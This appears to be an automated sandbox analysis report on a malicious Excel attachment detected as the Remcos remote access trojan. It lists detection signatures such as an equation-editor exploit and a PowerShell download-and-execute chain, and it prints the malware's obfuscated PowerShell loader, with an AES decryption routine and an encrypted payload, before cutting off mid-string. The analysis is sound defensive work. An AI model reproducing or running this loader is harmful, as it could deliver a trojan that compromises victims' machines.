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Windows
Analysis Report
#U00d6DEME TAVS#U0130YES#U0130.xls
Overview
General Information
Sample name: | #U00d6DEME TAVS#U0130YES#U0130.xlsrenamed because original name is a hash value |
Original sample name: | DEME TAVSYES.xls |
Analysis ID: | 1482813 |
MD5: | 75bfdd13f1ba9517907d20630398fe5e |
SHA1: | 20049b39f7b1f74ba4cd4dabf064f61d5fe28ce7 |
SHA256: | 0658815d79e2d6c10e9ca7c2d3f4a355403ad7bfe1f1c6a4d69d50a1d3dd7b04 |
Tags: | xls |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
AI detected suspicious Excel or Word document
C2 URLs / IPs found in malware configuration
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found URL in obfuscated visual basic script code
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Excel Network Connections
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 1800 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - WINWORD.EXE (PID: 1536 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3248 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3336 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\simpl ebeautygir lfrndhavef orm.vBS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3376 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command ( ('((e4jfun ction Decr ypt-AESEnc ryption {P aram([Stri ng]TMIBase 64Text,[St ringe4j+e4 j]TMIKey)T MIe4j+e4ja esManaged = New-Obje ct System. See4j+e4jc urity.Cryp tography.A esManaged; TMIa'+'esM anagee4j+e 4'+'jd.Mod ee4j+e4j = [Syse4j+' +'e4jtem.S ecurity.Cr yptoge4j+e 4jraphy.e4 j+e'+'4jCi e4'+'j+e4j pherMode]: :CBC;TMIae sManaged.' +'Pae4j+e4 jddin'+'g = [System. Security.C ryptograph y.PaddingM ode]::Zero s;TMIaesMa naged.Bloc kSiz'+'e = 128;TMIae sManaged.K eySize = 2 56;'+'TMIa esManagee4 j+'+'e4jd. Key = ('+' New-Object e4'+'j+e4j System.Se curity.Cry ptography. SHA256Mana ged).Compu teHash([Sy ste'+'m.Te xt.Encodin g]::UTF8.G ee4j+e4jtB ytes(TMIKe y));TMIcip herBytes = [Syst'+'e m.Convert] ::FromBase 64String(T MIBase64Te xt);TMIaes Managed.IV '+'= TMIc ipherBytes [0..15];TM Idecryptor = TMIaesM anaged.Cre ateDecrypt or();TMIde cryptedByt es = TMIde cryptor.Tr ansformFin '+'alBlock (TMIcipher Bytes, 16, TMIcipher Bytes.Leng th - 16);e 4j+e4jTMIa e'+'sManag ed.D'+'isp ose('+');r eturn [Sys tem.Text.E ncoding]:: UTF8.GetSt ring'+'(TM Idecry'+'p tedBytes). Tre4j+e4ji m([char]0) ;}TMIchave = CnI5324 5645968011 4237395886 23973337Cn Ie4j+e4j;T MItextoCri ptogr'+'af adoBase4j+ e4je64 = ' +'CnIIfj5t D9O95CJERD 65QS8cgd6m KhDFXu5Knh uNUHV8eN0B izzo6XYsPU Or/naNJ9+K 8DnwkvsZlj h8/jDtCBlc E7JwBlipBY NS69FMVrYo 8riAT/OCm+ 86aVfem+jS 7xh93ssL6a irSk1E4+mG 3y/ys93bKW l7qe/OiIfd 0sR1FM9xZh EYuwuHy/AU 8FfHXTeSMP l/YzZJ+ERH Vh+bArXV06 3XruUdd/cZ K/At2Cd+nb GZfGFDj29b cydLi2HTao 5Px2joIFcv B02gojNaG2 SWau3s/c6H FNqHbJGGUv RutXMletl2 9tNTCgqa0t Uwol3eukX7 WxBG0I6W0I 89mN4k+5nR 4K2AK8APbf VOX2Kvv5Ta no47cej4Qt Glf3mt0SPl qwZ9JReU64 MQQKkvdzo8 4oqAoQ+HKZ 5+76sSvuVP LVPNwT4waP 3/VLkFCFvd aX6peTauqL mO7Enf3jzd xLsVBi7+Np ZvpR8FLnBq iZzlImiogk vR17bPAS5C pYJnW/spi7 4gNlfkH3Qd s0UlhmZe/l a2ja5Mjup7 w5KWxVsHB7 OS7tLShSyN 7PC/qbynVi 6PhL80r558 jq+Epf/Jw5 jd2cMqIeQ4 mv2U7EHxT/ brTG1G9P22 Aeim3ofkuv 8Q/SbtoTP/ 20JvRjQ8WJ RpM/rpy0Qr rdKIDxmHOj 8D6rmtRQVN LhZ+QU80DQ hyY621X7Hr HP/CHEzyey QZWYMrUUzD 7owZM8RgeU Nb1tZcnVUx 5eYVO7nU46 ipcNFuuOEq 7bDkKPW3S8 iF+x6isuil kSnxQGLGoi Q/3UQx1KT5 knk+IGE6Rs unZht35yev yQ39siNJMc ED7UWj/p5R W4pseMzZxQ l/ER7KgeB/ ga2lAverkw IuezrF3ODu 4Fwu5pnQAq jKIbiK2WSd 3HqQ6ElDbZ DPlYJnIior FFgTexsUy6 Oe4ME8Krjw DHFPmrWUYg SixHjBrs98 4Mgz6L5vb7 M2/1oZiU1c R0qRdZy3k3 VSR+EnkjMt 7QgpSt+TbA em6N1XrXX9 yzuPZHT3jK 7lS4aHtIlo D1MMXWuIFu ngQbKc9KeI TySZskxIxz uGSwplqK0z iNU0ELPRdi 1QwF3PH5FG pGbNrOTsh2 BXgal6KV70 rLlImHCB/8 N7+Zv4j3XQ Uvj7YpMsga vK4CpP2Kc0 q2QBsv7EQw DeKTCM8Lho 0uj59AXofd 0v7Z0vxAot nN5Mo4LmIY Sm7KuWnX/7 BetKCLQsfM 4MXEXF6te/ 5nneOgTKpD RxwFFl4mVt Kv5tMtOpWM